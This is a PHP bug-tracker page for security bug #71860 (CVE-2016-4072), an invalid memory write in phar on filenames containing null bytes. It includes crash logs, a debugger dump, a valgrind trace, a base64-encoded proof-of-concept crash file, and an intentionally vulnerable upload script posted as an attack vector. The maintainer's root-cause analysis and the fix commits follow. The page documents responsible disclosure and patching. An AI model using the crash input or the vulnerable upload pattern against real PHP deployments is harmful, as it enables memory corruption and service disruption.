php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #71860 Invalid memory write in phar on filename with \0 in name
Submitted: 2016-03-19 18:50 UTC Modified: 2016-04-25 17:07 UTC
From: vvvaagn at gmail dot com Assigned: stas
Status: Closed Package: PHAR related
PHP Version: 5.5.33 OS: all
Private report: No CVE-ID: 2016-4072
 [2016-03-19 18:50 UTC] vvvaagn at gmail dot com
Description:
------------
tail -f /var/log/kern.log
Mar 19 18:41:33 TZDG001 kernel: [10476143.454202] php[18389]: segfault at ae6572 ip 0000000000d531b4 sp 00007ffea1567a70 error 7 in php[400000+e80000]



(gdb) r  test.php ret/crash13
Starting program: /tmp/php-7.0.4/sapi/cli/php test.php ret/crash13
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
zend_string_init (persistent=0, len=2, str=0x121a64c "->") at /tmp/php-7.0.4/Zend/zend_string.h:157
157		zend_string *ret = zend_string_alloc(len, persistent);
(gdb) i r
rax            0xae6572	11429234
rbx            0x7fffffffa880	140737488332928
rcx            0x64c	1612
rdx            0x2	2
rsi            0x3	3
rdi            0xae658a	11429258
rbp            0x2	0x2
rsp            0x7fffffffa7e0	0x7fffffffa7e0
r8             0xfffffffffffffffb	-5
r9             0x1	1
r10            0x3	3
r11            0x1214fc0	18960320
r12            0x1206b7a	18901882
r13            0x4	4
r14            0x121a64c	18982476
r15            0x7fffffffa880	140737488332928
!!! rip        0xd531b4	0xd531b4 <add_assoc_string_ex+116>
eflags         0x10206	[ PF IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0


maybe potencial attackers can manipulate rip register and get RCE

Test script:
---------------
cat test.php
-------------------
<?php
$testfile = file_get_contents($argv[1]);
try {
    $phar = new Phar($testfile);
    $phar['index.php'] = '<?php echo "https://twitter.com/vah_13"; ?>';
    $phar['index.phps'] = '<?php echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; ?>';
    $phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
        print $e;
}?>
-------------------


root@TZDG001:/tmp/data2# base64 ret/crash13
CkTJu4AoZHKCxhC7KlDNp2g5Grx7JE092+gDAADJVR1EZS8vL/oAAPovLy8v5y8vLy9lZWVlZWVl
DAwMC+MMDAwMDM4MDAwgBwwMDAwMDAxQDC8uLi8jLy88Ly8u+C8vLxERERERERERpXRDbnQgdGhh
dCBtVnJrV3h4eHh4eNt4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4ePh4Ly8vLy8vLy8vLy8v
Ly8vLy8vLy8vLy8vLkYvLy8vLy8vLy8vLy9kJy8vLy8vLy8vLy8v8+TzMZovLysvLy8vL3l5eXl5
eXl5eXkpIHsEAAYgICAveHh4eHh4eHh4eAF4AAJ4eP8vIExvYWQgY29tbWFuZChTgG5lIHV0aWxp
dHkKICAgIGluY2yKZGUuLi4uLi4uLi4uPCYuLi4ucG1kLnBoYXIudmVKCiAgJCAvLyBSdegDIGxp
bmUgTW50ZXJmYWxlCiAgIBxleGkAAP//SFBNRFxUZXh0VUl5Q29tbWFuZAAANwAAAHNyY1Rf/39N
UElMRVIodjsgPz4MChAAAAANAgAAEP//+QEAAAAAAAAiAAAqAAAAlnJjL21haW4vlA8uLlEvci8u
LhAA2GVzZXRzL2NsZWFucipeTUxSZW5kZXLJYEC2IQAAAABjb3JlrgAAAAAAI2OcwrYAAAAAAA0A
NwAAAHMASRwAc2V0cy91bndzcmMAnjgjW7gwgAAAcmMAAgAAADN1bGVzZXRzL2MgAAAAb///f/9p
YWwueG1s4BIAAB+u4VZzcmMvbWFpbi9yZXNvdXJpZ24ueABzcmMvbQA9dr2itiEASRyXl5eXl5eX
l5etl5eXlwAMc3JjL21hW24v6Bvzb3VyY2VzL3J1//+AAHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0
dHR0dHR0WWV0cy9uYRwcMBwcHBwcHBwcAB+u4TSoCwD1A3lvdXJjZXMvdmVsb2Qxmi9LZ01yAB+u
4RgAACCu4VbjDy5nLnhtbP8vAC4uLjwmLnh4eHh4eHh4eHh4+HgZLy8vLi4ucG1kLnBoL3Jlc291
cmNjZXNzcgCAAAAuGnVzc3IvLg0AAHFF7BMAc3JjL/9haW4vcGhwL1BIUE1EL1BhcnMnJycnJycn
JycnJycnJyfnAAAKQ5bxci5waHBtGAAAH67hGAAAH67hVuMPLi5RLy8vLy8vc3JW4QcAANevurC2
IQAAAAcAACwvdXNyLy4uL1KHAK78Vm4vcGhwL1BIUE1EL1JlbmRlcmVyKl5NTFJlbmRlcslgQLYh
AAAAAAAAGwABAHNyYy9tYWluL3BoNy9QSFBNRC9SdVRlLnCAcDIYAAAfruEAAHNyYy9tYWluL3AA
iy0AAABzcmMAAFeu4VYwCAAAPXa9oi8vLy8vLy8vLy8vLy8vLy8vL28v8+TzOoAAAGhwL1D/CzpE
ZXZlbG9kMZovbmdNZXRob2QQcGiKlgwAIAAAAFb8BQAAI2OcwrYhAAAAACAANwAAAGNyYy9tYc7O
zs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs4AEa7hVnNyYy+A////L9YhzLYhAADg////MXBo
cC9QSFBNRC9PdW1hf24vcGhwL1BIUGFEUFBQUFBQUFByYy9tYWluL3BocC9QSFBNRC9SdWxML0Rl
c2lnZy9Ub29PYW55TWV0aG9kfy4fruFWYy9tYWluL3BocC9QSFBNRC9SdWxlL0Rlc2lnbi8vRGV2
ZWxvZFxlbnRDbwMAAGMvbQA9dr2itiEASRwAcG1kLnARruFWjwUF//8FcIWYAAIAAAAvLi4v////
/3JILi4vLi91c3IvLi4AADYAAABecmMvUEhQTUQvUnVsZS9EZXNpZ1svV2VpAGhwAAAAc3JjLy8v
LwAAAQDk8zGaLy//L1J1bGUvRJCQkJBAkJCQkJDQkJBzkJCQkJCQkJCQkJCQkJCQkG50cm9w6HAu
LgAAAQAuLi4uLi4uLi4uL1BIUE1EL091bWFpdi9waHAvUEhQTURlcgAEQ2hpbGRyZW4ucGhwbQsA
AB+u4VZ+BQAAgLP4+7Yh3////wAOAAAfruxWbQYAADplbi4vdf//Ly4u5i4vdQBkHwAD6AAD6AAN
ADcuLhAA2DUAAAAyAAAAc3JkLy8uLi8uL1Jzci4vdXNycGguUS8vLy9/AAAAL3Vzci+uQi8uL3Vz
ci8vLi98c3IvLhciLi91c3IvLi4vdXOALy4uL/////9ldHMvYyAAAABv//9//2lhbC54tbW1tbW1
tbW1tbW1vABjL+ZJTnUgZC4vc5QPAAAEAHIvLi4vdXNyLy4uLy4vdXNyLy4AZC4vAQAAAC4uL3UQ
AC8uLi8uL3Vzby4vdXNyDy4uUS8vLy8vL3NyLy4vc3IvLi4odXNyAAIAAC4vdXNzci8uLi91e3Iv
rkIvLmRvci9hdRAA2DVXu7YhABcuL3Vzci8uAS8u




Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-03-19 19:32 UTC] vvvaagn at gmail dot com
root@TZDG001:/tmp/data2# valgrind -q ../php-7.0.4/sapi/cli/php test.php ret/crash13
==20538== Invalid read of size 8
==20538==    at 0xC70678: zend_mm_alloc_small (zend_alloc.c:1291)
==20538==    by 0xC70678: zend_mm_alloc_heap (zend_alloc.c:1358)
==20538==    by 0xC70678: _emalloc (zend_alloc.c:2442)
==20538==    by 0xC7696F: _estrndup (zend_alloc.c:2565)
==20538==    by 0x76BD95: phar_split_fname (phar.c:2229)
==20538==    by 0x732F19: phar_parse_url (stream.c:74)
==20538==    by 0x747A26: phar_wrapper_open_dir (dirstream.c:315)
==20538==    by 0xBA6BB7: _php_stream_opendir (streams.c:1982)
==20538==    by 0x85DDB2: spl_filesystem_dir_open (spl_directory.c:236)
==20538==    by 0x869E39: spl_filesystem_object_construct (spl_directory.c:724)
==20538==    by 0x869E39: zim_spl_RecursiveDirectoryIterator___construct (spl_directory.c:1563)
==20538==    by 0xCE6370: zend_call_function (zend_execute_API.c:879)
==20538==    by 0xE0662A: zend_call_method (zend_interfaces.c:104)
==20538==    by 0x779BC1: zim_Phar___construct (phar_object.c:1233)
==20538==    by 0x101447C: ZEND_DO_FCALL_SPEC_HANDLER (zend_vm_execute.h:842)
==20538==  Address 0x73752f2e20656c75 is not stack'd, malloc'd or (recently) free'd
==20538== 
==20538== 
==20538== Process terminating with default action of signal 11 (SIGSEGV)
==20538==  General Protection Fault
==20538==    at 0xC70678: zend_mm_alloc_small (zend_alloc.c:1291)
==20538==    by 0xC70678: zend_mm_alloc_heap (zend_alloc.c:1358)
==20538==    by 0xC70678: _emalloc (zend_alloc.c:2442)
==20538==    by 0xC7696F: _estrndup (zend_alloc.c:2565)
==20538==    by 0x76BD95: phar_split_fname (phar.c:2229)
==20538==    by 0x732F19: phar_parse_url (stream.c:74)
==20538==    by 0x747A26: phar_wrapper_open_dir (dirstream.c:315)
==20538==    by 0xBA6BB7: _php_stream_opendir (streams.c:1982)
==20538==    by 0x85DDB2: spl_filesystem_dir_open (spl_directory.c:236)
==20538==    by 0x869E39: spl_filesystem_object_construct (spl_directory.c:724)
==20538==    by 0x869E39: zim_spl_RecursiveDirectoryIterator___construct (spl_directory.c:1563)
==20538==    by 0xCE6370: zend_call_function (zend_execute_API.c:879)
==20538==    by 0xE0662A: zend_call_method (zend_interfaces.c:104)
==20538==    by 0x779BC1: zim_Phar___construct (phar_object.c:1233)
==20538==    by 0x101447C: ZEND_DO_FCALL_SPEC_HANDLER (zend_vm_execute.h:842)
 [2016-03-20 02:09 UTC] vvvaagn at gmail dot com
-Type: Bug +Type: Security -Private report: No +Private report: Yes
 [2016-03-20 02:09 UTC] vvvaagn at gmail dot com
...
 [2016-03-21 03:38 UTC] stas@php.net
Looks like the source of the issue is in phar_analyze_path, namely in this code:

				if (!(realpath = expand_filepath(filename, NULL))) {
					efree(filename);
					return FAILURE;
				}
#ifdef PHP_WIN32
				phar_unixify_path_separators(realpath, strlen(realpath));
#endif
				slash = strstr(realpath, filename);
				if (slash) {
					slash += ((ext - fname) + ext_len);
					*slash = '\0';
				}

The problem there is that if fname and thus filename contain \0's, which in this example they do, realpath of course would not contain those parts and thus slash would point past the end of the realpath buffer. I think the best solution would be to just reject filenames that contain \0 outright.
 [2016-03-21 03:57 UTC] stas@php.net
Not sure if it's a security issue though as for this to be exploitable the application should allow attacker to create phar files with arbitrary filenames - which pretty much already means full disk access.
 [2016-03-21 04:00 UTC] stas@php.net
-Summary: null pointer exception phar::webPhar, potential code execution +Summary: Invalid memory write in phar on filename with \0 in name
 [2016-03-21 04:04 UTC] stas@php.net
-PHP Version: 7.0.5RC1 +PHP Version: 5.5.33
 [2016-03-21 04:04 UTC] stas@php.net
happens also in 5.x
 [2016-03-21 04:44 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-03-21 04:44 UTC] stas@php.net
Fix in security repo as 1e9b175204e3286d64dfd6c9f09151c31b5e099a for 7.0, 72281f29dd4691b2f741362d3581162fcf85f502 for 5.5

Also in https://gist.github.com/smalyshev/80b5c2909832872f2ba2
Please verify
 [2016-03-21 15:06 UTC] vvvaagn at gmail dot com
ok, fixed
 [2016-03-21 17:12 UTC] vvvaagn at gmail dot com
attacking vector without local cli  

<?php

$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);

if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) {
		$testfile = file_get_contents($uploadfile);
	try {
		$phar = new Phar($testfile);
		$phar['index.php'] = '<?php echo "https://twitter.com/vah_13"; ?>';
		$phar['index.phps'] = '<?php echo "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; ?>';
		$phar->setStub('<?php
	Phar::webPhar();
	__HALT_COMPILER(); ?>');
	} catch (Exception $e) {
			print $e;
	}
}

?>
 [2016-03-21 18:53 UTC] vvvaagn at gmail dot com
here is video 

https://drive.google.com/file/d/0B7gu5bbuZn2ITk54ZGl5SzVWNlk/view?usp=sharing

rash have in new Phar($file) function.
 [2016-03-21 18:59 UTC] vvvaagn at gmail dot com
code execution can create, see this doc 

https://www.exploit-db.com/docs/33698.pdf (0x04 Control RIP)
 [2016-03-21 19:53 UTC] stas@php.net
Of course any CLI script can be converted to one run through the web, that isn't what distinguishes security issues. Anyway, since it has to do with phar filenames and it is possible that at least part of can come from outside, for now I'm treating it as security issue just to be cautious.
 [2016-03-21 20:02 UTC] vvvaagn at gmail dot com
okay.
commit & merged? :-)
 [2016-03-21 20:25 UTC] stas@php.net
Not merged yet. Security issues are merged at release time - which is next week.
 [2016-03-29 06:52 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1e9b175204e3286d64dfd6c9f09151c31b5e099a
Log: Fix bug #71860: Require valid paths for phar filenames
 [2016-03-29 06:52 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-03-29 06:55 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=72281f29dd4691b2f741362d3581162fcf85f502
Log: Fix bug #71860: Require valid paths for phar filenames
 [2016-03-29 09:30 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=72281f29dd4691b2f741362d3581162fcf85f502
Log: Fix bug #71860: Require valid paths for phar filenames
 [2016-03-29 09:30 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1e9b175204e3286d64dfd6c9f09151c31b5e099a
Log: Fix bug #71860: Require valid paths for phar filenames
 [2016-04-25 17:07 UTC] remi@php.net
-CVE-ID: +CVE-ID: 2016-4072
 [2016-07-20 11:32 UTC] davey@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1e9b175204e3286d64dfd6c9f09151c31b5e099a
Log: Fix bug #71860: Require valid paths for phar filenames
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Sun Apr 30 01:01:34 2017 UTC